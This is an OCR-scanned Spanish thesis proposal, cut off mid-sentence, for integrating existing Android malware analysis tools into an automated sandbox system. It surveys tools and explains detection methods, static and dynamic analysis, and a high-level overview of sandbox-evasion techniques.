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Capitulo I: Introduccion

Antecedentes

Los navegantes de internet en plataformas moviles marcaron un hito histérico en el afio 2016 al
superar en numero a los usuarios en plataformas tradicionales. Este hecho fue impulsado en parte
por aumento en la totalidad de cibernautas, siendo la mayoria de ellos nuevos y ademas usuarios
de dispositivos moviles (Heisler, 2018) (StatCounter, 2018). El uso del internet movil paso de ser
una actividad limitada a un pequefio grupo de personas a ser algo ubicuo en una porcién importante
de la poblacion mundial (Murphy & Roser, 2019).

Este acontecimiento vino acompafiado de un efecto colateral que no habia sido contemplado: El
incremento de usuarios moviles con acceso a Internet produjo un aumento en la superficie de
ataque disponible para los criminales cibernéticos. Como consecuencia, se ha registrado un
crecimiento sustancial en los casos de codigo malicioso detectados. En el caso de la plataforma
Android, esto significé un aumento cercano al 100% en la cantidad de casos de codigo malicioso
detectados en el afio 2016 (Symantec, 2018) (Nokia, 2018).

El hecho de que las plataformas moviles sean las de mas interés por criminales informaticos es de
suma preocupacion. De acuerdo con estudios recientes el sistema operativo movil mas popular es
Android (Tung, 2018) y este, junto con sus servicios (Google PlayStore), son particularmente
vulnerables a infecciones de c6digo malicioso (Brenner, 2018).

Uno de los principales problemas que afecta la plataforma Android es la fragmentacion. Este es
un fenébmeno que ocurre debido a la naturaleza misma de la plataforma: al ser un sistema operativo

de codigo abierto y tener controles de calidad laxos o inexistentes, los manufacturadores de
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dispositivos Android realizan modificaciones propias al sistema operativo que hacen casi
imposible proveer actualizaciones de seguridad a los usuarios finales (Hill, 2018). En algunos
casos, los manufacturadores optan por utilizar versiones antiguas del sistema operativo que ya no
estan siendo soportadas por Google. En otros casos, las actualizaciones brindadas al sistema no
contienen todos los parches de seguridad emitidos de forma oficial y deja vulnerables a los
usuarios. (Dunn, 2018).

Recientemente, los criminales cibernéticos han emprendido una cruzada por sacar el méximo
provecho a las vulnerabilidades de los sistemas operativos moviles y a la escaza concienciacion
sobre seguridad informatica. Esta tendencia sigue en crecimiento y se estima que para el afio 2020
los autores de codigo malicioso van a generar ganancias alrededor del billon de dolares (McAfee,
2018).

En afios anteriores, la plataforma Android fue victima de numerosos ataques. Ellos han dejado al
descubierto la inseguridad que puede afectar a millones de usuarios de esta plataforma. Por
ejemplo, el cadigo malicioso CopyCat logré infectar cerca de 14 millones de dispositivos Android
a lo largo de varios afios. Asi logré generar una ganancia de $1.5 millones de dolares americanos
a los criminales detras de él (Osborne, 2018). Otro ejemplo con mayor magnitud es el del codigo
malicioso llamado HummingBad, el cual infecté al menos 85 millones de dispositivos Android.
Este, por su parte, generd no menos de $300,000 délares americanos de ganancia a sus autores
cada mes (Palmer, 2018).

Aunque existe un fuerte vinculo entre el uso de tiendas de aplicaciones de terceros y cddigo
malicioso, el uso de canales oficiales de distribucion de aplicaciones no exime de peligro a los

usuarios. El codigo malicioso conocido como Judy fue distribuido por medio de la tienda de
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aplicaciones Google Play; infectd a un estimado de entre 8.5y 36.5 millones de usuarios (Check

Point Software Technologies, 2018).

Justificacion

Anteriormente, se menciond sobre el incremento en la penetracion de la computacion movil a nivel
mundial y el impacto que esto ha tenido en la seguridad de la informacién. En el contexto de Costa
Rica, el crecimiento en el uso de dispositivos moviles sobrepasa al promedio mundial. Alcanza
cifras de penetracion del 179% y ubica al pais en la posicion nimero uno en cuanto a penetracion
(MICITT, 2018).

En lo que respecta a estadisticas de Costa Rica sobre codigo malicioso, no se cuenta con un detalle
claro en cuanto a niumero de incidentes para dispositivos maviles. Por el momento, solo se tiene
conocimiento de los incidentes reportados al WARP (Warning, Advice and Reporting Point) de
LANIC, el cual agrupa todos los incidentes de cddigo malicioso bajo un mismo rubro (CAMTIC,
2018).

El ambito empresarial costarricense ha visto un incremento de la practica conocida como “BYOD”
(“Bring Your Own Device” o “traiga su propio dispositivo™). A pesar de no estar totalmente claro
cuantos dispositivos madviles personales estan en uso en las empresas, se tiene datos de encuestas
que muestran una preferencia de los empleados por usar sus dispositivos personales dentro de las
redes corporativas (Chung, 2018).

El aumento en el uso de dispositivos mdviles con fines laborales trae consigo riesgos inherentes

los cuales requieren una gestion y respuesta de incidentes de forma integral. Una de las labores

13



recomendadas para atender incidentes de seguridad en dispositivos mdviles es el analisis de cédigo
malicioso (Kendall, 2007) (Distler, 2007).

El andlisis de cddigo malicioso es una labor complicada que requiere personal altamente
especializado (Distler, 2007). Es por esta razén que el andlisis tiene que ser asistido por
herramientas automatizadas que faciliten la tarea en la medida de lo posible (Besler, Willems, &
Hund, 2018).

Las organizaciones e investigadores de la seguridad informéatica pueden sacar provecho de la
informacion obtenida a través de un analisis de codigo malicioso y poner en marcha contramedidas
mas efectivas sobre las amenazas descubiertas. En caso de un incidente de seguridad, un anélisis
de codigo malicioso permitiria que una organizacion conozca sobre el posible impacto de un
programa malicioso sobre sus activos de informacion, forma de propagacion, herramientas
instaladas por el codigo malicioso, entre otros (NIST, 2018).

Actualmente, el mercado de sistemas operativos moviles esta dividido en dos grandes plataformas:
Android con el 72.35% de los usuarios y iOS con un 24.44% (StatCounter, 2018). Como fue
mencionado anteriormente, la plataforma Android ha sido victima de multiples vulnerabilidades e
infecciones de cddigo malicioso. Es asi como se convirtio en la favorita de los cibercriminales y
la dejo con una reputacion de ser mucho menos segura que iOS (McAfee, 2018) (Symantec, 2018).
A pesar de que existe una amplia oferta de programas antivirus para la plataforma Android (Neil,
2018), la cantidad herramientas que permiten hacer un analisis del cddigo malicioso de forma
automatica sigue siendo limitada (Anastasis, 2018).

A la fecha, existe una muy limitada seleccion de herramientas de analisis de codigo malicioso
automatizado para Android, la mayoria de estas son herramientas comerciales. Las opciones para

empresas pequefias e investigadores de seguridad estan limitadas a unas muy pocas opciones de
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cddigo abierto como CuckooDroid la cual es de dificil instalacion y ha dejado de recibir
actualizaciones por parte de sus desarrolladores (Idan & Ofer, 2018).

De aqui surge la necesidad de brindar una herramienta que supla este vacio existente. La presente
investigacion se va a enfocar en la propuesta de una nueva plataforma de andlisis de cddigo
malicioso para la plataforma Android la cual serd producto de la integracion de distintas
herramientas existentes. La metodologia de investigacion va a ser cuantitativa debido a la
naturaleza de los andlisis requeridos a lo largo del proyecto y de la dependencia, en gran medida,

a la generacion e interpretacion de datos estadisticos.

Viabilidad

Punto de vista técnico

Desde un punto de vista técnico, el proyecto es altamente viable. En primer lugar, se tiene la
experiencia documentada de emprendimientos similares los cuales se han realizado de forma
exitosa (Acin Sanz, 2017). Ademas, las herramientas existentes de caja de arena para Android, a
pesar de ser escazas, tienen gran potencial de cumplir con los requisitos de este proyecto (Idan &
Ofer, 2018). Finalmente, cabe resaltar que la oferta de herramientas de analisis de cddigo malicioso
para Android es extensa (Anastasis, 2018) y, en la mayoria de los casos, cumplen con los

requerimientos de licenciamiento que se plantearon para este proyecto.

Objetivos del proyecto
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Para la elaboracion de este trabajo se ha seleccionado la taxonomia original de Bloom, en
especifico, la categoria de sintesis (Bloom, 1956). Esta decision se fundamenta en la necesidad de
recombinar partes de sistemas y tecnologias existentes en una nueva solucion no disponible
anteriormente. Este trabajo examina diversas fuentes de informacion y herramientas tecnol dgicas
que pueden ser utilizadas en un sistema automatizado para analisis de cddigo malicioso para la
plataforma Android.

El titulo y objetivo general de la investigacion cumplen con la categorizacion de verbos

especificada segun la taxonomia de Bloom (Instituto Tecnoldgico de Sonora, 2018).

Titulo del proyecto

Integracidn de herramientas para analisis de cddigo malicioso de la plataforma Android en un

sistema de andlisis automatizado.

Obijetivo general

Integrar en un nuevo sistema de analisis automatizado herramientas para analisis estéatico y

dinamico de codigo malicioso para la plataforma Android.

Obijetivos especificos

1. Analizar el estado actual de las herramientas de analisis de codigo malicioso para Android.
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Seleccionar herramientas de analisis de codigo malicioso para la plataforma Android que
permitan realizar los procesos de analisis estatico y dindmico de cédigo malicioso.

Integrar las herramientas de analisis de codigo seleccionados en un nuevo sistema de analisis
de codigo malicioso para Android.

Desarrollar los componentes necesarios para que los procesos de instalacion y ejecucion
sistema de andlisis de codigo malicioso sean automatizados y no requieran configuracion.
Valorar la efectividad del nuevo sistema a través de un analisis de prueba con muestras de

cddigo malicioso para Android en un ambiente controlado.

Alcances y limitaciones

Alcances

Esta investigacion tiene los siguientes alcances:

Listar y describir las herramientas de caja de arena y de analisis de cddigo malicioso de la
plataforma Android que representen el estado del arte.

Integrar las herramientas de analisis de codigo malicioso en un nuevo sistema.

Publicar el nuevo sistema de analisis de cddigo malicioso junto con cualquier modificacion al
codigo fuente original. Se utilizara el repositorio publico de codigo fuente GitHub.

Cumplir modelo de licenciamiento de codigo abierto.

Publicar los resultados del analisis de muestras junto con las muestras de cédigo malicioso

utilizadas durante el analisis.
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Limitaciones

Esta investigacion esta sujeta a las siguientes limitaciones:

1. La seleccion de herramientas de andlisis de cddigo malicioso esta limitada por los resultados
obtenidos por basquedas en linea.

2. El sistema de analisis de codigo malicioso va a hacer uso de herramientas de caja de arena y
analisis de codigo existentes, no se van a desarrollar nuevos programas para este fin.

3. El codigo fuente liberado estara sujeto a las limitaciones de licenciamiento impuestas por las
licencias originales de las herramientas utilizadas durante la investigacion. No se van a
proponer nuevos modelos de licenciamiento.

4. Las muestras de codigo malicioso a utilizar por el andlisis de prueba van a limitarse a las que
pueden ser obtenidas por medios legales en repositorios de investigacion publicos como
GitHub.

5. El analisis de codigo malicioso va a estar limitado a operar en el sistema operativo Android
4.2.1. Se omite la compatibilidad con versiones mas recientes de esta plataforma.

6. El analisis de cddigo malicioso solo se va a llevar a cabo para las partes de codigo fuente que
se encuentren en bytecode para la maquina virtual de Android (Dalvik o ART). Otro tipo de
cddigo malicioso como binarios nativos o codigo embebido (Javascript, Lua) se encuentran

fuera del alcance de esta investigacion.

Estado de la cuestion
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El fendmeno del codigo malicioso en Android es relativamente reciente. Se tiene como primer
caso documentado al troyano AndroidOS.DroidSMS.A en agosto del afio 2010 (Clooke, 2019).

A diferencia de otras plataformas méas antiguas como Microsoft Windows, no se han encontrado
estudios formales que permitan identificar herramientas lideres del mercado. Estudios como los de
Cuadrante Mégico de Garther se limitan a evaluar soluciones de deteccion de codigo malicioso en

terminales (Endpoints) (Garther, 2018).

Revisidn sistematica

Problema

Los investigadores de codigo malicioso para Android se topan con una gran cantidad de obstaculos
técnicos que dificultan el realizar un experimento de seguridad sélido (Lalande, 2018).

Esté investigacion esta enfocada en reducir los obstaculos y complejidad técnica asociados con la
instalacion y uso de las herramientas de analisis de cédigo malicioso para Android. Asi se permitira

que el investigador encause sus esfuerzos en el analisis de la evidencia recolectada.

Preguntas de la investigacion

e Existe una solucion en el mercado que resuelva satisfactoriamente el problema planteado

por esta investigacion?
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e ;Cuales son las herramientas de analisis estatico y dindmico de cddigo malicioso para
Android?

e ;Qué herramientas de analisis de codigo malicioso para Android cumplen con el criterio
de seleccidn propuesto por esta investigacion?

e ;Cumple su objetivo la solucidn propuesta en esta investigacion al problema?

Definicion y criterio de fuentes

A continuacion, se presenta un listado de herramientas de analisis de codigo malicioso para
Android. Este listado representa una muestra sobre la poblacién total de herramientas que pueden
ser descubiertas por medio de busquedas en internet. La lista se obtuvo de los resultados de una

consulta en el buscador Google con los siguientes términos:

android+malicious+code+analysis+tools

Los resultados fueron filtrados de forma cualitativa de acuerdo con los siguientes criterios:

e La herramienta y documentacion relacionada esta en el idioma inglés.

e La herramienta aparece en listados de terceros de herramientas recomendadas para el
andlisis de cdédigo malicioso para Android (H4ckO, 2018; UIC R.E. Academy, 2019;
Cloudi, 2019; Bhatia, 2018; Shipp, 2019). Ver apéndices 1, 2, 3, 4 y 5 respectivamente.

e La herramienta cuenta con un modelo de licenciamiento que la hace compatible con las
limitaciones del proyecto y su codigo fuente esta disponible.

e La herramienta ha recibido mejoras a su codigo fuente en los Ultimos 4 afios (a partir del

afio 2015).
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e La documentacion presentada por la herramienta es clara y permite su instalacién y

ejecucion de forma exitosa.

Herramientas de analisis de codigo estatico para Android

Androguard

Herramienta para analisis de archivos DEX, ODEX, APK, archivos binarios XML de Android,

recursos de Android, entre otras. Ofrece servicios de desensamblado, decompilacion, analisis

cruzado de referencias, entre otros (Desnos, Gueguen, & Bachmann, 2019).

Androwarn

Androwarn es una herramienta cuyo objetivo es el de detectar y advertir sobre posibles

comportamientos maliciosos desarrollados por una aplicacién de Android. La deteccion es

realizada por medio de un andlisis del estatico del “byte code” de Dalvik (Debize, 2019).

Apktool

Es una herramienta para realizar ingenieria reversa de aplicaciones Android de codigo cerrado de

terceros. Puede decodificar recursos a su forma casi original. Permite también depurar las

aplicaciones en codigo binario (Wisniewski & Tumbleson, 2019).
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Kisskiss

Herramienta para desempacar aplicaciones de Android que utilizan los empacadores y protectores

Bangcle (SecNeo), APKProtect, LIAPP, Qihoo Android Packers y Jaigu (Strazzere, 2019).

Herramientas de analisis de codigo dinamico para Android

Droidbox

Fue desarrollado con intencidn de ofrecer analisis dindmico de aplicaciones de Android. El analisis

realizado colecta informacion del trafico de red, operaciones de lectura y escritura de archivos,

servicios iniciados, uso de SMS, permisos burlados, llamadas enviadas, etc. (Lantz, 2019)

Xposed

Es una utilidad que permite instalar médulos en un sistema Android y cambiar el comportamiento

del sistema y aplicaciones sin realizar modificaciones a los archivos originales del sistema (rovo89

& Tungstwenty, 2019).

Mobile Security Framework (MobSF)
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Es un marco de trabajo automatizado para seguridad mavil, una solucion todo en uno para Android,
iOS y Windows. Permite realizar pruebas de penetracion, analisis estaticos, dindmicos y de codigo

malicioso (Ajin, Schlecht, Magaofei , Dobrushin, & Nadal, 2019).

Sistemas de sandbox para Android

CuckooDroid

CuckooDroid es una extension del sandbox de cddigo abierto Cuckoo. Permite el analisis
automatico de archivos sospechosos. CuckooDroid le ofrece a Cuckoo la capacidad de analizar y

ejecutar aplicaciones de Android (Checkpoint Software Technologies., 2018).

AndroPyTool

Es una herramienta para la extraccion de caracteristicas estaticas y dinamicas de APK’s de
Android. Combina diferentes herramientas bien conocidas de andlisis de aplicaciones de Android
como DroidBox, FlowDroid, Strace, AndroGuard y VirusTotal (Martin Garcia, Lara-Cabrera, &

Camacho, 2019).

Joe Sandbox Mobile

Joe Sandbox Mobile analiza APK’s de forma totalmente automatizada en un ambiente controlado
de Android. Ademas, monitorea el comportamiento en tiempo de ejecucion por actividades

sospechosas. Todas las actividades son compiladas en un reporte detallado de analisis. Esta caja

23



de arena permite monitorear cualquier llamada del API de Java/Android dentro del APK, funciones
locales e inclusive campos en estructuras de datos. Para poder activar aplicaciones maliciosas, la
caja de arena entiende la jerarquia de vistas de la aplicacion y simula clics en los botones u otros

elementos de Ul (Joe Security LLC, 2018).

Herramientas de anélisis de codigo malicioso para Android en linea

IBM Security AppScan Mobile Analyzer

El IBM Security AppScan Mobile Analyzer es parte del IBM Application Security on Cloud, el
cual es una solucion para todas las necesidades de pruebas de seguridad. Este servicio realiza
andlisis en tiempo de corrida de aplicaciones moviles. Si se encuentra algin problema, el servicio

los reporta junto con instrucciones de como reproducirlos (IBM Corp., 2018).

NVISO APKScan

APKScan es un servicio en linea que permite realizar un analisis distribuido de muestras de codigo
malicioso para Android. El objetivo de este servicio es el de facilitar la colaboracion y brindar a
investigadores acceso a datos y muestras de ejemplo. Esto es posible gracias a la arquitectura

distribuida del sistema con un enfoque en pruebas de caja blanca (NVISO Labs, 2019).

VirusTotal
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Inspecciona las muestras con cerca de 70 escaneres y servicios de listas negras de dominios y
vinculos junto con una gran gama de herramientas para extraer sefiales del contenido estudiado.
VirusTotal ofrece varios métodos de envid de archivos, incluyendo la interfaz Web primaria,
cargadores de escritorio, extensiones de browser y APIs programaticos. Una vez enviada una
muestra esta puede ser examinada por distintos colaboradores para mejorar los resultados en sus

propios sistemas (Chronicle Security Ireland Limited, 2018).

AVC UnDroid

Es una herramienta en linea que provee un analisis estatico de aplicaciones de Android. El analisis
estatico es realizado con una version modificada de la herramienta Buster Sandbox Analyzer,
ssdeep y APKTool. El servicio es experimental y debe ser utilizado solo con fines informativos y

de investigacion (NewSky Security, LLC., 2018).

AndroTotal

Este es un servicio en linea para escaneo de APK’s sospechosos y utiliza multiples antivirus para
la plataforma Android. Cuando AndroTotal reconoce que un antivirus de Android encuentra una
aplicacion maliciosa, obtiene los metadatos directamente de la interfaz gréafica, asi como el nombre
de la amenaza detectada. Adicionalmente, hace capturas de pantalla de la aplicacion, logcat

(Bitacora de Android) y vaciados de red (Maggi, Valdi, & Zanero, 2013).
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Appknox

Appknox ofrece un sistema automatizado en linea junto con un enfoque humano. Asegura que

cada posible agujero de seguridad en aplicaciones moviles queda sellado antes de ser lanzada la

aplicacion. La solucion automatizada de Appnok incluye pruebas de conformidad de la industria

como OWASP TOP 10, HIPAA, PCI-DSS y més. Appknox utiliza un escaneo en tres etapas que

detecta y neutraliza amenazas (XY Sec Labs, 2018).

Cronograma del proyecto

Para a elaboracion del proyecto se cuenta con aproximadamente 15 semanas. El desglose de tareas

y fechas sera el siguiente:

@ N & n

o

Task Name

Versién inicial estado de
la cuestion

Version inicial del marco tedrico

Versidn inicial de la propuesta de

trabajo para proyecto de

Introducién y apartados
introductorios

Revision estado de la cuestion

Revisién marco tedrico

Revision propuesta de trabajo

Correcciones finales

Duration

5 days

5 days

5 days

5 days

5 days

5 days

5 days
10 days

Work

0 hrs

0 hrs

0 hrs

0 hrs

0 hrs

0 hrs

0 hrs
0 hrs

Start

Mon 10/22/18 8:00 AM

Mon 10/29/18 8:00 AM

Mon 11/5/18 8:00 AM

Mon 11/12/18 8:00 AM

Mon 11/19/18 8:00 AM

Mon 11/26/18 8:00 AM

Mon 12/3/18 8:00 AM
Mon 12/10/18 8:00 AM

Finish

Fri 10/26/18 5:00 PM

Fri 11/2/18 5:00 PM

Fri 11/9/18 5:00 PM

Fri 11/16/18 5:00 PM

Fri 11/23/18 5:00 PM

Fri 11/30/18 5:00 PM

Fri 12/7/18 5:00 PM
Fri 12/21/18 5:00 PM

Predecessors

N o un

Resource Names

% Complete

0%

0%

0%

0%

0%

0%

0%
0%
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Capitulo I1: Marco conceptual

Malware o codigo malicioso

El termino malware proviene de la combinacion las palabras en inglés “malicious” y “software”.
Es una expresion genérica utilizada para identificar cualquier programa no deseado como virus de
computadora, gusanos, troyanos, spyware, adware, bots, entre otros. (Saeed, Selamat, &
Abuagoub, 2013) (Kasama, 2014) Con mayor precision, el malware es definido como cualquier
cadigo adicionado, modificado o eliminado a un sistema de software para causar dafio de forma
intencional o subvertir la funcionalidad para la cual el sistema estaba destinado (McGraw &
Morrisett, 2000).

En espafol, el anglicismo malware y el termino “cédigo malicioso” se utilizan de forma
intercambiable y describen el mismo concepto. (Universidad Nacional de Lujan, 2018). El presente

documento hace uso preferente del termind “cédigo malicioso™.

Deteccion de codigo malicioso

La deteccidn de codigo malicioso es el proceso realizado por un programa especializado para este
fin. Un programa de deteccion de codigo malicioso D es la funcién computacional que trabaja
sobre un dominio que contiene una coleccion de programas P. El programa de deteccion D analiza
los programas p que pertenecen al conjunto de programas P para determinar si es benigno, si

contiene cédigo malicioso o si no es posible determinar (Saeed, Selamat, & Abuagoub, 2013).
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malicioso, si p contiene codigo malicioso
D(p) benigno, si p es un programa normal
sindeterminar,si D falla en determinar p

Métodos de deteccidn de codigo malicioso

Los métodos de deteccion de codigo malicioso estan categorizados en tres distintos puntos de vista

tal y como se muestra en la llustracion 1 (Zahra, Hashem, Seyed Mehdi, & Ali, 2013).

Métodos de
deteccion de codigo
malicioso

A 4 h 4 A 4

Basados en huella Basados en Basados en
digital comportamiento heuristica

lustracion 1- Métodos de deteccion de codigo malicioso

Fuente: Adaptado de Zahra, Hashem, Seyed Mehdi, & Ali, 2013.

Meétodos basados en huella digital

La coincidencia de patrones es uno de los métodos mas comunes en la deteccion de codigo
malicioso y la huella digital es el método mas popular en esta area. La huella digital es una
caracteristica Unica de cada archivo, algo asi como la huella dactilar de un ejecutable. Los métodos
basados en huella digital utilizan patrones extraidos de varias muestras de codigo malicioso para
identificarlos lo cual lo hace mas rapido y mas eficiente que otros métodos. Esta técnica tiene una
frecuencia de error baja. Esa es una de las principales razones de su uso en antivirus comerciales

(Zahra, Hashem, Seyed Mehdi, & Ali, 2013).
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Métodos basados en comportamiento

Las técnicas de deteccion basadas en comportamiento observan el accionar de un programa
ejecutable para concluir si este es malicioso o0 no. Debido a que esta técnica observa lo que un
ejecutable hace, no esta sujeta a las limitaciones de la técnica basada en huella digital. Con este
método, los patrones de comportamiento de distintos programas son recolectados. Por lo tanto, un
patron Unico de comportamiento puede identificar varios tipos de cddigo malicioso. Este
mecanismo ayuda a detectar codigo malicioso mutante pues este va a siempre utilizar los mismos

recursos y servicios en una forma similar (Zahra, Hashem, Seyed Mehdi, & Ali, 2013).

Métodos basados en heuristica

Los métodos basados en huella digital y comportamiento tienen varias desventajas: incapacidad
de detectar variantes de codigo malicioso, codigo basura que evita una deteccion efectiva,
reordenamiento de sentencias... Por ello, se han propuesto métodos basados en heuristica para
sobreponerse a esas desventajas. La deteccién por medio de heuristica utiliza técnicas de mineria
de datos y aprendizaje automatico para aprender sobre el comportamiento de un archivo ejecutable.
Por ejemplo, Naive Bayes y Multi Naive Bayes han sido empleados para clasificar cddigo
malicioso de programas benignos (Zahra, Hashem, Seyed Mehdi, & Ali, 2013) (Schultz, Eleazar,

Erez, & Salvatore J. Stolfo, 2001).

Objetivos del analisis de cddigo malicioso
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Los objetivos principales del analisis de cdigo malicioso son los de comprender la operacion de
una muestra de codigo malicioso para poder disefiar contramedidas efectivas y de determinar el
dafio que este puede causar (McGraw & Morrisett, 2000). En caso de infeccion o de intrusion en
unared, la informacion obtenida a través del analisis del codigo malicioso va a proveer los insumos
necesarios para que una organizacion pueda responder de forma oportuna a un incidente, contener

la amenaza y erradicarla.

Técnicas de analisis de cddigo malicioso

El analisis de codigo malicioso se puede clasificar en dos técnicas principales: analisis estatico y
analisis dinamico. Ambas técnicas cumplen con el mismo objetivo de explicar como el cédigo
malicioso trabaja, las herramientas, tiempo y destrezas requeridas para realizar el analisis son muy
distintas (Distler, 2007). No obstante, el método de analisis estatico se puede dividir en dos etapas:
el analisis estatico basico y el analisis estatico avanzado. El método de andlisis dindmico se puede
dividir a su vez en las etapas de analisis dindmico basico y andlisis dindmico avanzado. La
combinacion de todos estos métodos de analisis se utiliza de forma conjunta para producir un
reporte de andlisis del codigo malicioso. (Syarif, Yudi, & Imam, 2015). La taxonomia de las

técnicas de analisis se puede apreciar en la Ilustracion 2.
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Analisis
estatico [—
basico

Analisis
estatico

Analisis
estatico [—
avanzado

Reporte
de analisis
de cadigo
malicioso

Andlisis de
codigo o
malicioso

Andlisi
dinamico [—
basico

Analisis
dinamico

Analisis
dinamico —
avanzado

llustracion 2 - Métodos de analisis de codigo malicioso.

Fuente: Adaptado de Syarif, Yudi, & Imam, 2015

Analisis estatico

El andlisis estatico de codigo malicioso consiste en examinar los archivos binarios de un programa
sin ejecutar sus instrucciones. El analisis estatico basico examina un ejecutable sin ver las
instrucciones de cddigo utilizando un antivirus, huellas digitales (hash) de segmentos de cédigo y
deteccion de codigo empacado u ofuscado. El analisis estatico avanzado revela las instrucciones
de cddigo del ejecutable, textos y librerias ligadas utilizando ingenieria inversa (Sikorski & Honig,

2012) (Kasama, 2014) (Syarif, Yudi, & Imam, 2015).

Grafos de control de flujo
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Los grafos de control de flujo son la base para deducir el comportamiento de un programa y
muestra como la informacion se propaga a lo largo de una secuencia de declaraciones. Cada posible
camino en el grafo corresponde a una potencial ejecucion del programa.

Es importante denotar la generalidad de esta representacion ya que los grafos de control de flujo
(con las siglas CFG’s en inglés) pueden ser utilizados para representar el control de flujo de
programas escritos en cualquier lenguaje. La ilustracion 3 muestra un simple programa en el

lenguaje de programacion Basic y su correspondiente grafo de control de flujo (Zeller, 2009).

=]

1 DIM T(20)
2 INPUT "TIME INCREMENT (SEC)";S2
3 INPUT "VELOCITY (FPS)";V
4 INPUT “COEFFICIENT®;C
6 PRINT "FEET"
6 S1=INT(70/(V/(16%52)))
7 FOR I=1 TO S1
8 T(I)=V+C~(I-1)/16

- OO

P
\

-

o
>

/

9 WEXT I
10 FOR HeINT(-16e(V/32)"2+V"2/32+.5) TO 0 STEP -.5
11 IF INT(H)<>H THEN 13
12 PRINT ; 7{\,
13 L=0 {
14 FOR T=1 TO 81 D)
15 FOR Je0 TO T(I) STEP 52 | /
0

D)
o oan €

16 LeL+S2
17 IF ABS(H-(.5¢(~32)=]"24VeC"(I~1)#J))>.26 THEN 19 (s) '\_/' (0
18 PRINT TAB(L/S2);"0%; ] T<,
19 NEXT J /
20 J=T(1+1)/2 (?:\. br &;\
21 IF -16+J°2+VeC" (I-1)#J<H THEN 23 N Y
22 NEXT I _< \
23 PRINT ( |I
24 NEXT H N
25 PRINT TAB(1); 2
26 FOR I=1 TO INT(L+1)/52+10

km { :I- ( \|
- ~ 3

27 PRINT . *; 7T\

28 NEXT I { -
29 PRINT _“;} l “\.

30 PRINT "O"; A1\ J

31 FOR I=1 TO INT(L+.9995) { | s W & 10
32 PRINT TABCINT(I/S2));1; ('-/ | 0 P& [ ()
33 NEXT I

34 PRINT 2N
35 PRINT TAB(INT(L+1)/(2¢82)-2);"SECONDS" = &) L)

e . LT |

lNustracion 3 - Control de flujo de programa en Basic.

Fuente: Zeller, 2009

Anadlisis dindmico
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El andlisis estatico consiste en ejecutar el codigo malicioso en un ambiente aislado y observar sus
acciones. Es posible desarrollar un modelo del comportamiento de un programa con solo
monitorear sus interacciones con el sistema de archivos, registro (en el caso de Windows), otros
procesos y el acceso a red. El anélisis dindmico basico consiste en monitorear las interacciones del
proceso de codigo malicioso con el sistema. El analisis dinamico avanzado utiliza un depurador
para examinar el estado interno de un ejecutable malicioso (Kendall, 2007) (Sikorski & Honig,

2012).

Cajas de arena

El termino “caja de arena” (en inglés “sandbox”) es empleado para describir el mecanismo de
seguridad utilizado para ejecutar programas no confiables en un ambiente seguro y sin presentar
un riesgo a sistemas reales. Las cajas de arena comprenden ambientes virtualizados que
generalmente simulan servicios de red, de esta forma los programas a ser analizados van a operar
normalmente. (Sikorski & Honig, 2012).

El analisis ejecutado en un sandbox es Ilamado analisis de caja negra y permite monitorear el
comportamiento del codigo malicioso. Una de las ventajas de este analisis es que no es afectado
por empacadores de cdédigo o técnicas de ofuscado pues son empleadas frecuentemente por
desarrolladores de codigo malicioso para hacer el analisis de codigo estatico y la ingenieria inversa
lenta y dificil. Una desventaja es que solo permite observar y analizar comportamientos que
ocurren durante el tiempo de ejecucion (Kasama, 2014).

El analisis de cddigo malicioso en una caja de arena tiene tres propiedades importantes (Kasama,

2014) (Yoshioka, Takahiro, & Tsutomu, 2016):
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Observabilidad

Es una propiedad en términos de poder observar los comportamientos en consideracion. Por

ejemplo, ver cambios en las llaves del registro de Windows, comportamiento de red, entre otros.

Contencion

Representa dos sub-propiedades: una para prevenir que la muestra ejecutada ataque o infecte a un

sistema remoto fuera de la caja de arena (Contencidn de ataques salientes) y otra para suprimir una

fuga de informacion importante del sistema de analisis debido a que puede ser utilizado en su

contra (e.g. deteccion de caja de arena).

Eficiencia

Es la propiedad de proveer constantemente resultados de analisis con suficiente informacion en un

lapso razonable.
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Agrupacion de cédigo malicioso

Existe una gran cantidad de codigo malicioso con funcionalidades muy similares en existencia.
Esto es debido a la reutilizacion de codigo fuente, compilador, opciones de compilador, técnicas
de polimorfismo y de ofuscacion. Esta ultima técnica en particular es empleada por los autores de
cédigo malicioso para empacar el cédigo malicioso, ocultar su codigo y caracteristicas. Como
consecuencia, se genera una enorme cantidad huellas digitales distintas (MD5, SHA1, SHA 256)
por cada muestra de codigo malicioso. Lo anterior dificulta su identificacion, agrupacion y analisis.
Las técnicas empleadas en la agrupacion de variantes de codigo malicioso de acuerdo con sus
similitudes han sido ampliamente estudiadas como una forma efectiva de analizar una gran
cantidad de variantes de cédigo malisios (Kendall, 2007) (Kasama, 2014).

Los métodos de agrupacion de codigo malicioso se pueden dividir en dos enfoques: basado en
caracteristicas estaticas y basado en caracteristicas de comportamiento. EI primer enfoque requiere
que en ocasiones se desempaque el coédigo de una muestra para poder analizar sus caracteristicas;
en el segundo caso es necesario observar durante el tiempo de ejecucion las caracteristicas de

comportamiento del codigo malicioso (Kasama, 2014).

Técnicas de evasion de cajas de arena

El codigo malicioso se aprovecha de varias técnicas para sortear la tecnologia de la caja de arena.

Hay numerosas contramedidas puestas por los autores de cddigo malicioso para superar la

seguridad brindada por la caja de arena. Los métodos de ayer no son completamente efectivos

contra el codigo malicioso de hoy. Utilizando esas técnicas evasivas, el codigo malicioso es capaz
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de eludir firewalls efectivos y puertas de enlace de red. Ademas, pueden evitar ser descubiertos
por la caja de arena. Existen cuatro técnicas de evasion fundamentales utilizadas por el cddigo

malicioso (Keragala, 2016):

e Técnicas de evasion de ambientes especificos: La version del ambiente de ejecucion, librerias,
version del navegador de internet y otros factores pueden general una huella digital Gnica. Si
el autor del codigo malicioso puede identificar el ambiente como uno “bloqueado”, el coédigo
malicioso puede determinar que muy probablemente sea una caja de arena y modificara su

comportamiento para evitar ser detectado (Singh & Bu, 2016).

e Técnicas evasion por deteccion de interaccion humana: UpClicker, un troyano analizado en el
afio 2012 fue una de las primeras muestras en utilizar los clics del raton para detectar actividad
humana. Otras muestras han comenzado a permanecer latentes hasta detectar mas de dos clics
y asegurarse que vienen de una persona actual y no de una caja de arena simulando una persona.
La velocidad stper humana es otra sefia de que una muestra esté siendo analizada en una caja
de arena, por lo cual el codigo malicioso puede asumir que la interaccion con el sistema es

simulada (Singh & Bu, 2016).

e Técnicas evasion por deteccidon de maquina virtual: Las técnicas de maquina virtual consisten
en detectar la tecnologia subyacente (Hipervisor o simulador), deteccion de un producto de
caja de arena en especifico (por medio de sus archivos o procesos) y deteccion de ambientes

artificiales. Una maquina virtual puede ser detectada por medio del registro de Windows, sus
